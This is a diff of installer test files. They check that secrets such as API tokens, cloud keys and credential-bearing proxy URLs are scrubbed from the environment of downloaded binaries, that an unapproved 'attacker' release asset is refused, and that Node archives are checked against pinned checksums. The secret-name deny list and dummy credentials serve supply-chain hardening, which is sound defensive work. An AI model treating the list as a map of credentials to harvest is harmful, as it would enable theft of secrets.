+# 4. Relink over a stale link must NOT destroy the (new) target's contents.
+OLD="$T/ext_old"; mk_built "$OLD"
+NEW="$T/ext_new"; mk_built "$NEW"; : > "$NEW/precious.txt"
+CANON4="$T/home4/llama.cpp"; mkdir -p "$(dirname "$CANON4")"
+ln -sfn "$OLD" "$CANON4"   # simulate a prior --with-llama-cpp-dir run
+run_link "$NEW" "$CANON4"
+if [ "$SYMLINKS" = 1 ]; then
+    check "relink: now points at the new external" "$(CDPATH= cd -P -- "$NEW" && pwd -P)" "$(val TARGET)"
+fi
+check "relink: new target's contents preserved" "yes" "$([ -f "$NEW/precious.txt" ] && echo yes || echo no)"
+check "relink: old target's contents preserved" "yes" "$([ -f "$OLD/build/bin/llama-server" ] && echo yes || echo no)"
+
+# 5. Pointing at the canonical path itself is a no-op reuse: linked, not turned
+#    into a self-referential symlink, contents untouched.
+CANON5="$T/home5/llama.cpp"; mk_built "$CANON5"; : > "$CANON5/keep.txt"
+run_link "$CANON5" "$CANON5"
+check "canonical no-op: linked"             "true" "$(val LINKED)"
+check "canonical no-op: not made a symlink" "0"    "$(val ISLINK)"
+check "canonical no-op: contents preserved" "yes"  "$([ -f "$CANON5/keep.txt" ] && echo yes || echo no)"
+
+echo ""
+if [ "$fails" -ne 0 ]; then echo "$fails check(s) failed"; exit 1; fi
+echo "All checks passed"
diff --git a/tests/studio/install/test_gpu_detection_followups.py b/tests/studio/install/test_gpu_detection_followups.py
index 0926cf9bd5..f5ad9566d7 100644
--- a/tests/studio/install/test_gpu_detection_followups.py
+++ b/tests/studio/install/test_gpu_detection_followups.py
@@ -249,7 +249,20 @@ class TestSetupShHardening:
         ), "ROCm toolkit search must require a detected AMD GPU, not just hipcc"
 
     def test_compute_cap_probe_timeout_wrapped(self, setup_src):
-        assert "_setup_run_smi nvidia-smi --query-gpu=compute_cap" in setup_src
+        # nvidia-smi is now a variable ($_smi_bin), so check the wrapper precedes
+        # the probe rather than matching a literal. The string also appears in a
+        # comment, so scan all occurrences and accept if any is wrapped.
+        wrapped = False
+        start = 0
+        while True:
+            idx = setup_src.find("--query-gpu=compute_cap", start)
+            if idx < 0:
+                break
+            if "_setup_run_smi" in setup_src[max(0, idx - 80) : idx]:
+                wrapped = True
+                break
+            start = idx + 1
+        assert wrapped, "compute_cap probe must be wrapped in _setup_run_smi (timeout-bounded)"
 
     def test_driver_version_probe_timeout_wrapped(self, setup_src):
         start = setup_src.find("_cuda_driver_max_version()")
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index a5a1131ecc..c852d7c495 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -22,6 +22,9 @@ SPEC.loader.exec_module(INSTALL_LLAMA_PREBUILT)
 PrebuiltFallback = INSTALL_LLAMA_PREBUILT.PrebuiltFallback
 extract_archive = INSTALL_LLAMA_PREBUILT.extract_archive
 binary_env = INSTALL_LLAMA_PREBUILT.binary_env
+is_secret_env_name = INSTALL_LLAMA_PREBUILT.is_secret_env_name
+scrub_env = INSTALL_LLAMA_PREBUILT.scrub_env
+isolated_runtime_home = INSTALL_LLAMA_PREBUILT.isolated_runtime_home
 HostInfo = INSTALL_LLAMA_PREBUILT.HostInfo
 AssetChoice = INSTALL_LLAMA_PREBUILT.AssetChoice
 ApprovedArtifactHash = INSTALL_LLAMA_PREBUILT.ApprovedArtifactHash
@@ -37,6 +40,41 @@ install_prebuilt = INSTALL_LLAMA_PREBUILT.install_prebuilt
 write_prebuilt_metadata = INSTALL_LLAMA_PREBUILT.write_prebuilt_metadata
 existing_install_matches_plan = INSTALL_LLAMA_PREBUILT.existing_install_matches_plan
 existing_install_matches_choice = INSTALL_LLAMA_PREBUILT.existing_install_matches_choice
+ensure_diffusion_visual_server = INSTALL_LLAMA_PREBUILT.ensure_diffusion_visual_server
+
+
+def linux_host() -> HostInfo:
+    return HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+
+
+def approved_release_checksums_for_asset(asset_name: str, sha256: str) -> ApprovedReleaseChecksums:
+    return ApprovedReleaseChecksums(
+        repo = "unslothai/llama.cpp",
+        release_tag = "b9334",
+        upstream_tag = "b9334",
+        artifacts = {
+            asset_name: ApprovedArtifactHash(
+                asset_name = asset_name,
+                sha256 = sha256,
+                repo = "unslothai/llama.cpp",
+                kind = "diffusion-visual-server",
+            )
+        },
+    )
 
 
 def approved_checksums_for(
@@ -744,6 +782,259 @@ def test_binary_env_linux_includes_binary_parent_in_ld_library_path(
     assert str(install_dir) in ld_dirs
 
 
+def test_scrub_env_drops_secrets_and_keeps_runtime_vars():
+    raw = {
+        # secrets
+        "HF_TOKEN": "hf_x",
+        "HUGGING_FACE_HUB_TOKEN": "hf_y",
+        "GH_TOKEN": "gh_x",
+        "GITHUB_TOKEN": "gh_y",
+        "WANDB_API_KEY": "wandb_x",
+        "AWS_SECRET_ACCESS_KEY": "aws_x",
+        "ACTIONS_ID_TOKEN_REQUEST_TOKEN": "oidc_x",
+        "ACTIONS_ID_TOKEN_REQUEST_URL": "https://oidc",
+        "SOME_VENDOR_API_KEY": "vendor_x",
+        "DB_PASSWORD": "pw",
+        "MY_PRIVATE_KEY": "pk",
+        "KUBECONFIG": "/home/runner/.kube/config",
+        "SSH_AUTH_SOCK": "/tmp/ssh-agent.sock",
+        "SSH_PASSPHRASE": "ssh_pass",
+        # runtime vars to keep
+        "PATH": "/usr/bin",
+        "LD_LIBRARY_PATH": "/opt/lib",
+        "DYLD_LIBRARY_PATH": "/opt/dyld",
+        "HOME": "/home/runner",
+        "TMPDIR": "/tmp",
+        "CUDA_VISIBLE_DEVICES": "0",
+        "HSA_OVERRIDE_GFX_VERSION": "11.0.0",
+    }
+
+    cleaned = scrub_env(raw)
+
+    for secret in (
+        "HF_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "WANDB_API_KEY",
+        "AWS_SECRET_ACCESS_KEY",
+        "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
+        "ACTIONS_ID_TOKEN_REQUEST_URL",
+        "SOME_VENDOR_API_KEY",
+        "DB_PASSWORD",
+        "MY_PRIVATE_KEY",
+        "KUBECONFIG",
+        "SSH_AUTH_SOCK",
+        "SSH_PASSPHRASE",
+    ):
+        assert secret not in cleaned, f"{secret} must be stripped from binary env"
+
+    for keep in (
+        "PATH",
+        "LD_LIBRARY_PATH",
+        "DYLD_LIBRARY_PATH",
+        "HOME",
+        "TMPDIR",
+        "CUDA_VISIBLE_DEVICES",
+        "HSA_OVERRIDE_GFX_VERSION",
+    ):
+        assert cleaned[keep] == raw[keep], f"{keep} must be preserved for the binary"
+
+    # no bare "KEY" marker: benign KEY-containing names survive
+    assert is_secret_env_name("API_KEY") is True
+    assert is_secret_env_name("SSH_KEYFILE_PATH") is False
+    assert is_secret_env_name("PATH") is False
+
+
+def test_scrub_env_drops_proxy_index_and_embedded_url_credentials():
+    raw = {
+        # proxy / package-index URLs whose values commonly embed credentials
+        "HTTPS_PROXY": "https://user:secret@proxy:8080",
+        "https_proxy": "https://user:secret@proxy:8080",  # lower-case variant
+        "ALL_PROXY": "socks5://user:secret@proxy:1080",
+        "PIP_INDEX_URL": "https://u:p@pypi.internal/simple",
+        "UV_INDEX_URL": "https://u:p@index.internal/simple",
+        # credentials embedded in an otherwise benign-named variable's value
+        "MY_DB_DSN": "postgres://admin:secret@db:5432/app",
+        # benign vars the binary needs, including a URL with no userinfo
+        "PATH": "/usr/bin",
+        "CUDA_VISIBLE_DEVICES": "0",
+        "NO_PROXY": "localhost,127.0.0.1",
+        "SOME_ENDPOINT": "https://example.com:8080/v1",
+    }
+
+    cleaned = scrub_env(raw)
+
+    for secret in (
+        "HTTPS_PROXY",
+        "https_proxy",
+        "ALL_PROXY",
+        "PIP_INDEX_URL",
+        "UV_INDEX_URL",
+        "MY_DB_DSN",
+    ):
+        assert secret not in cleaned, f"{secret} must be stripped from binary env"
+    for keep in ("PATH", "CUDA_VISIBLE_DEVICES", "NO_PROXY", "SOME_ENDPOINT"):
+        assert cleaned[keep] == raw[keep], f"{keep} must be preserved for the binary"
+
+    assert is_secret_env_name("HTTPS_PROXY") is True
+    assert is_secret_env_name("https_proxy") is True
+    assert is_secret_env_name("NO_PROXY") is False
+
+
+def test_binary_env_strips_secrets_from_downloaded_binary_environment(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "llama.cpp"
+    bin_dir = install_dir / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    binary_path = bin_dir / "llama-server"
+    binary_path.write_bytes(b"fake")
+
+    host = HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_runtime_dirs", lambda _bp: [])
+
+    monkeypatch.setenv("HF_TOKEN", "hf_secret_from_ci")
+    monkeypatch.setenv("GITHUB_TOKEN", "gh_secret_from_ci")
+    monkeypatch.setenv("GH_TOKEN", "gh_secret_from_ci")
+    monkeypatch.setenv("WANDB_API_KEY", "wandb_secret_from_ci")
+    monkeypatch.setenv("CUDA_VISIBLE_DEVICES", "1")
+
+    env = binary_env(binary_path, install_dir, host)
+
+    assert "HF_TOKEN" not in env
+    assert "GITHUB_TOKEN" not in env
+    assert "GH_TOKEN" not in env
+    assert "WANDB_API_KEY" not in env
+    # library/runtime resolution unaffected
+    assert str(bin_dir) in env["LD_LIBRARY_PATH"].split(os.pathsep)
+    assert env["CUDA_VISIBLE_DEVICES"] == "1"
+
+
+def test_binary_env_redirects_home_away_from_real_credential_stores(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "llama.cpp"
+    bin_dir = install_dir / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    binary_path = bin_dir / "llama-server"
+    binary_path.write_bytes(b"fake")
+
+    host = HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_runtime_dirs", lambda _bp: [])
+
+    real_home = str(tmp_path / "real_home")
+    monkeypatch.setenv("HOME", real_home)
+    monkeypatch.setenv("HF_HOME", real_home + "/.cache/huggingface")
+
+    env = binary_env(binary_path, install_dir, host)
+
+    # HOME and the cache pointers are redirected to a single empty, existing dir.
+    assert env["HOME"] != real_home
+    assert env["HF_HOME"] == env["HOME"]
+    assert env["HOME"] == isolated_runtime_home()
+    assert os.path.isdir(env["HOME"])
+    assert os.listdir(env["HOME"]) == []
+    # Windows reconstructs the profile from HOMEDRIVE + HOMEPATH.
+    assert env["HOMEDRIVE"] + env["HOMEPATH"] == env["HOME"]
+
+
+def test_scrub_env_drops_token_only_url_userinfo():
+    raw = {
+        "GENERIC_REPO": "https://ghp_tokenonly@github.com/org/repo",
+        "GENERIC_OK": "https://example.com:8080/v1",
+    }
+    cleaned = scrub_env(raw)
+    assert "GENERIC_REPO" not in cleaned
+    assert cleaned["GENERIC_OK"] == raw["GENERIC_OK"]
+
+
+def test_binary_env_drops_explicit_credential_file_pointers(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    host = HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_runtime_dirs", lambda _bp: [])
+    dropped = (
+        "NETRC",
+        "PIP_CONFIG_FILE",
+        "DOCKER_CONFIG",
+        "GIT_CONFIG_GLOBAL",
+        "GITHUB_ENV",
+        "GITHUB_PATH",
+        "GITHUB_OUTPUT",
+        "GITHUB_STEP_SUMMARY",
+        "BASH_ENV",
+    )
+    for var in dropped:
+        monkeypatch.setenv(var, "/home/realuser/secret")
+
+    env = binary_env(tmp_path / "llama-server", tmp_path, host)
+
+    for var in dropped:
+        assert var not in env
+
+
+def test_linux_runtime_dirs_probes_with_secret_free_env(monkeypatch: pytest.MonkeyPatch):
+    captured: dict[str, object] = {}
+
+    def fake_missing(binary_path, *, env = None):
+        captured["env"] = env
+        return []
+
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_missing_libraries", fake_missing)
+    monkeypatch.setenv("HF_TOKEN", "hf_secret")
+    monkeypatch.setenv("GITHUB_TOKEN", "gh_secret")
+
+    INSTALL_LLAMA_PREBUILT.linux_runtime_dirs(Path("/fake/llama-server"))
+
+    probe_env = captured["env"]
+    assert probe_env is not None
+    assert "HF_TOKEN" not in probe_env
+    assert "GITHUB_TOKEN" not in probe_env
+
+
 def test_install_prebuilt_falls_back_to_older_release_plan(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch
 ):
@@ -2828,3 +3119,87 @@ def test_validate_prebuilt_choice_approved_validation_runs_when_flag_enabled(tmp
     monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_RUN_STAGED_PREBUILT_VALIDATION", True)
     calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = "ab" * 32)
     assert calls == {"quantize": 1, "server": 1}
+
+
+def test_diffusion_visual_server_uses_approved_checksum_download(monkeypatch, tmp_path: Path):
+    asset_name = "llama-diffusion-gemma-visual-server-linux-x64"
+    expected_sha = "a" * 64
+    asset_url = "https://github.com/unslothai/llama.cpp/releases/download/b9334/" + asset_name
+    calls: list[tuple[str, Path, str | None, str | None]] = []
+
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "github_release_assets",
+        lambda repo, tag: {asset_name: asset_url},
+    )
+
+    def fake_download_file(url, destination):
+        raise AssertionError("diffusion visual server must not use unverified download_file")
+
+    def fake_download_file_verified(url, destination, *, expected_sha256, label):
+        calls.append((url, Path(destination), expected_sha256, label))
+        Path(destination).write_bytes(b"verified visual server")
+
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "download_file", fake_download_file)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "download_file_verified", fake_download_file_verified
+    )
+
+    ensure_diffusion_visual_server(
+        tmp_path / "install",
+        linux_host(),
+        "b9334",
+        approved_release_checksums_for_asset(asset_name, expected_sha),
+    )
+
+    target = tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    assert calls == [
+        (
+            asset_url,
+            target,
+            expected_sha,
+            f"diffusion visual server {asset_name}",
+        )
+    ]
+    assert target.read_bytes() == b"verified visual server"
+    assert target.stat().st_mode & 0o777 == 0o755
+
+
+def test_diffusion_visual_server_refuses_unapproved_release_asset(monkeypatch, tmp_path: Path):
+    asset_name = "llama-diffusion-gemma-visual-server-attacker-linux"
+    verified_calls: list[str] = []
+    raw_calls: list[str] = []
+
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "github_release_assets",
+        lambda repo, tag: {asset_name: "https://example.test/" + asset_name},
+    )
+
+    def fake_download_file(url, destination):
+        raw_calls.append(url)
+
+    def fake_download_file_verified(url, destination, *, expected_sha256, label):
+        verified_calls.append(url)
+
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "download_file", fake_download_file)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "download_file_verified", fake_download_file_verified
+    )
+
+    ensure_diffusion_visual_server(
+        tmp_path / "install",
+        linux_host(),
+        "b9334",
+        ApprovedReleaseChecksums(
+            repo = "unslothai/llama.cpp",
+            release_tag = "b9334",
+            upstream_tag = "b9334",
+            artifacts = {},
+        ),
+    )
+
+    target = tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    assert not target.exists()
+    assert raw_calls == []
+    assert verified_calls == []
diff --git a/tests/studio/install/test_install_node_prebuilt_logic.py b/tests/studio/install/test_install_node_prebuilt_logic.py
index 0c6da87655..5476702d65 100644
--- a/tests/studio/install/test_install_node_prebuilt_logic.py
+++ b/tests/studio/install/test_install_node_prebuilt_logic.py
@@ -120,7 +120,7 @@ def test_expected_sha256_rejects_malformed():
 # ── Version selection from index.json ──
 INDEX = [
     {"version": "v26.3.1", "lts": False},
-    {"version": "v24.17.0", "lts": "Krypton"},
+    {"version": "v24.18.0", "lts": "Krypton"},
     {"version": "v24.9.0", "lts": "Krypton"},
     {"version": "v22.20.0", "lts": "Jod"},
     {"version": "v20.19.0", "lts": "Iron"},
@@ -128,8 +128,8 @@ INDEX = [
 
 
 def test_select_lts_respects_min_major():
-    # Newest LTS at/above 24 -> 24.17.0 (22.x LTS is below the floor).
-    assert M.select_node_version(INDEX, channel = "lts", min_major = 24) == "24.17.0"
+    # Newest LTS at/above 24 -> 24.18.0 (22.x LTS is below the floor).
+    assert M.select_node_version(INDEX, channel = "lts", min_major = 24) == "24.18.0"
 
 
 def test_select_latest_overall():
@@ -301,10 +301,13 @@ def test_existing_install_matches_true_when_version_and_runtime_ok(tmp_path: Pat
 def test_install_prebuilt_short_circuits_when_version_matches(tmp_path: Path, monkeypatch):
     install_dir = tmp_path / "node"
     install_dir.mkdir()
-    M.write_metadata(install_dir, version = "24.17.0", asset = "x", sha256 = "y")
+    version = M.pinned_default_version(M.load_pins())  # == INDEX's newest LTS
+    asset = M.node_asset_name(version, _host("linux", "x64"))
+    pin = M.pinned_sha256(M.load_pins(), version, asset)  # short-circuit now needs the pin
+    M.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
-    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
 
     def boom(*a, **k):
@@ -407,26 +410,25 @@ def test_install_prebuilt_rejects_explicit_below_floor(tmp_path: Path, monkeypat
         M.install_prebuilt(install_dir, channel = "20.18.0", min_major = 24, force = False)
 
 
-def test_install_prebuilt_keeps_existing_when_shasums_fetch_fails(tmp_path: Path, monkeypatch):
-    # index.json resolves a newer version, but the later SHASUMS fetch fails and a
-    # usable older isolated Node is on disk -> keep it instead of aborting.
+def test_install_prebuilt_keeps_existing_when_download_fails(tmp_path: Path, monkeypatch):
+    # Archive download fails but a usable older Node is on disk -> keep it.
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     M.write_metadata(install_dir, version = "24.9.0", asset = "x", sha256 = "y")
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
-    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # newest LTS = 24.17.0
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # newest LTS = 24.18.0 (pinned)
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
-    monkeypatch.setattr(M, "download_bytes", _offline)  # SHASUMS fetch fails
+    monkeypatch.setattr(M, "download_file_verified", _offline)  # archive download fails
     rc = M.install_prebuilt(install_dir, channel = "lts", min_major = 24, force = False)
     assert rc == M.EXIT_SUCCESS
 
 
-def test_install_prebuilt_reraises_shasums_failure_without_existing(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_reraises_download_failure_without_existing(tmp_path: Path, monkeypatch):
     install_dir = tmp_path / "node"  # nothing usable on disk
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
-    monkeypatch.setattr(M, "download_bytes", _offline)
+    monkeypatch.setattr(M, "download_file_verified", _offline)
     with pytest.raises(OSError):
         M.install_prebuilt(install_dir, channel = "lts", min_major = 24, force = False)
 
@@ -475,3 +477,288 @@ def test_ensure_npm_floor_noop_when_npm_meets_bar(tmp_path: Path, monkeypatch):
 
     monkeypatch.setattr(M, "_run_node", boom)
     M._ensure_npm_floor(tmp_path / "node", _host("linux", "x64"))
+
+
+# ── Pinned digest manifest (trust anchor) ──
+# Archives must be verified against committed pins, never a same-origin re-fetch.
+ALL_SUPPORTED_HOSTS = [
+    ("linux", "x64"),
+    ("linux", "arm64"),
+    ("darwin", "x64"),
+    ("darwin", "arm64"),
+    ("win", "x64"),
+    ("win", "arm64"),
+]
+
+
+def test_load_pins_exposes_valid_default_version():
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    assert M._version_tuple(version)  # parses as a real version
+    assert M._meets_node_floor(version)  # the pinned default clears the build floor
+
+
+def test_pinned_manifest_covers_every_supported_asset():
+    # A future Node bump must pin all six os/arch archives or a host loses its anchor.
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    for node_os, node_arch in ALL_SUPPORTED_HOSTS:
+        host = _host(node_os, node_arch)
+        asset = M.node_asset_name(version, host)
+        digest = M.pinned_sha256(pins, version, asset)
+        assert digest is not None and len(digest) == 64, f"missing pin for {asset}"
+        assert all(c in "0123456789abcdef" for c in digest)
+
+
+def test_pinned_sha256_unknown_pair_returns_none():
+    pins = M.load_pins()
+    assert M.pinned_sha256(pins, "99.0.0", "node-v99.0.0-linux-x64.tar.gz") is None
+    version = M.pinned_default_version(pins)
+    assert M.pinned_sha256(pins, version, "node-vX-bogus-arch.tar.gz") is None
+
+
+def test_load_pins_rejects_bad_schema(tmp_path: Path, monkeypatch):
+    bad = tmp_path / "node_prebuilt_pins.json"
+    bad.write_text(json.dumps({"schema_version": 999}))
+    monkeypatch.setattr(M, "pins_path", lambda: bad)
+    with pytest.raises(PrebuiltFallback):
+        M.load_pins()
+
+
+def test_load_pins_raises_when_missing(tmp_path: Path, monkeypatch):
+    monkeypatch.setattr(M, "pins_path", lambda: tmp_path / "does_not_exist.json")
+    with pytest.raises(PrebuiltFallback):
+        M.load_pins()
+
+
+def test_resolve_expected_sha256_uses_pin_without_touching_network(monkeypatch):
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    asset = M.node_asset_name(version, _host("linux", "x64"))
+
+    def boom(*a, **k):
+        raise AssertionError("pinned path must not fetch the remote SHASUMS256.txt")
+
+    monkeypatch.setattr(M, "download_bytes", boom)
+    sha = M.resolve_expected_sha256(pins, version, asset, allow_unverified = False)
+    assert sha == M.pinned_sha256(pins, version, asset)
+
+
+def test_resolve_expected_sha256_failcloses_on_unpinned(monkeypatch):
+    pins = M.load_pins()
+
+    def boom(*a, **k):
+        raise AssertionError("must not reach the network when refusing an unpinned version")
+
+    monkeypatch.setattr(M, "download_bytes", boom)
+    with pytest.raises(PrebuiltFallback):
+        M.resolve_expected_sha256(
+            pins, "26.3.1", "node-v26.3.1-linux-x64.tar.gz", allow_unverified = False
+        )
+
+
+def test_resolve_expected_sha256_optin_falls_back_to_remote_shasums(monkeypatch):
+    pins = M.load_pins()
+    asset = "node-v26.3.1-linux-x64.tar.gz"
+    remote_sha = "d" * 64
+    monkeypatch.setattr(M, "download_bytes", lambda url, **k: f"{remote_sha}  {asset}\n".encode())
+    # Only with the explicit opt-in does the legacy remote-checksum path run.
+    sha = M.resolve_expected_sha256(pins, "26.3.1", asset, allow_unverified = True)
+    assert sha == remote_sha
+
+
+@pytest.mark.parametrize(
+    "value,expected",
+    [("1", True), ("true", True), ("YES", True), ("on", True), ("0", False), ("", False)],
+)
+def test_allow_unverified_node_reads_env(monkeypatch, value, expected):
+    monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, value)
+    assert M.allow_unverified_node() is expected
+
+
+def test_install_prebuilt_default_channel_resolves_pinned_version(tmp_path: Path, monkeypatch):
+    # Default channel installs the pinned version with no index.json round-trip.
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    asset = M.node_asset_name(version, _host("linux", "x64"))
+    pin = M.pinned_sha256(pins, version, asset)  # kept only if the recorded digest is the pin
+    M.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+
+    def boom(*a, **k):
+        raise AssertionError("default channel must not hit nodejs.org when the install matches")
+
+    monkeypatch.setattr(M, "fetch_json", boom)  # no index.json
+    monkeypatch.setattr(M, "download_file", boom)
+    monkeypatch.setattr(M, "download_bytes", boom)
+    rc = M.install_prebuilt(install_dir, channel = "pinned", min_major = 24, force = False)
+    assert rc == M.EXIT_SUCCESS
+
+
+def test_install_prebuilt_failcloses_on_unpinned_latest(tmp_path: Path, monkeypatch):
+    # Unpinned `latest`, no opt-in, nothing on disk to keep: refuse.
+    install_dir = tmp_path / "node"
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest overall = 26.3.1 (unpinned)
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+
+    def boom(*a, **k):
+        raise AssertionError("must not download an unpinned archive")
+
+    monkeypatch.setattr(M, "download_file", boom)
+    with pytest.raises(M.UnpinnedNodeRefused):
+        M.install_prebuilt(install_dir, channel = "latest", min_major = 24, force = False)
+
+
+@pytest.mark.parametrize("channel", ["latest", "26.3.1"])
+def test_install_prebuilt_unpinned_refusal_does_not_keep_existing(
+    tmp_path: Path, monkeypatch, channel
+):
+    # Regression: an unpinned refusal must fail closed even with a usable install on
+    # disk; the keep-existing fallback is for transient failures only.
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = "24.9.0", asset = "old", sha256 = "old")
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest overall = 26.3.1 (unpinned)
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)  # existing install is usable
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+
+    def boom(*a, **k):
+        raise AssertionError("must not download an unpinned archive")
+
+    monkeypatch.setattr(M, "download_file", boom)
+    with pytest.raises(M.UnpinnedNodeRefused):
+        M.install_prebuilt(install_dir, channel = channel, min_major = 24, force = False)
+
+
+def test_unpinned_refusal_maps_to_fallback_exit_code(tmp_path: Path, monkeypatch, capsys):
+    # main() must surface the refusal as EXIT_FALLBACK (setup treats it as a failed
+    # install with guidance), not as a success masked by the keep-existing path.
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = "24.9.0", asset = "old", sha256 = "old")
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+    rc = M.main(["--install-dir", str(install_dir), "--node-version", "latest"])
+    assert rc == M.EXIT_FALLBACK
+    # Guard the main() catch order: UnpinnedNodeRefused must be caught before the
+    # generic PrebuiltFallback, so assert the message, not just the exit code.
+    out = capsys.readouterr().out
+    assert "refusing to install Node" in out
+    assert "prebuilt unavailable" not in out
+
+
+def test_resolve_expected_sha256_rejects_malformed_pins():
+    # A structurally-broken manifest is "not pinned" (None), never a bogus digest.
+    asset = "node-v24.17.0-linux-x64.tar.gz"
+    assert M.pinned_sha256({"versions": "nope"}, "24.17.0", asset) is None
+    assert M.pinned_sha256({"versions": {"24.17.0": "nope"}}, "24.17.0", asset) is None
+    assert M.pinned_sha256({"versions": {"24.17.0": {asset: "x" * 63}}}, "24.17.0", asset) is None
+    assert M.pinned_sha256({"versions": {"24.17.0": {asset: "z" * 64}}}, "24.17.0", asset) is None
+    # an uppercase but otherwise valid digest is normalized to lowercase
+    up = "A" * 64
+    assert M.pinned_sha256({"versions": {"24.17.0": {asset: up}}}, "24.17.0", asset) == up.lower()
+    for bad in [{}, {"default_version": ""}, {"default_version": "not-a-version"}]:
+        with pytest.raises(PrebuiltFallback):
+            M.pinned_default_version(bad)
+
+
+def test_install_prebuilt_optin_takes_remote_shasums_path(tmp_path: Path, monkeypatch):
+    # With the opt-in set, an unpinned version drives the remote-SHASUMS path end to
+    # end: fetch SHASUMS256.txt, then the verified archive download (no refusal).
+    install_dir = tmp_path / "node"  # nothing on disk -> errors re-raise, not keep-existing
+    asset = "node-v26.3.1-linux-x64.tar.gz"
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
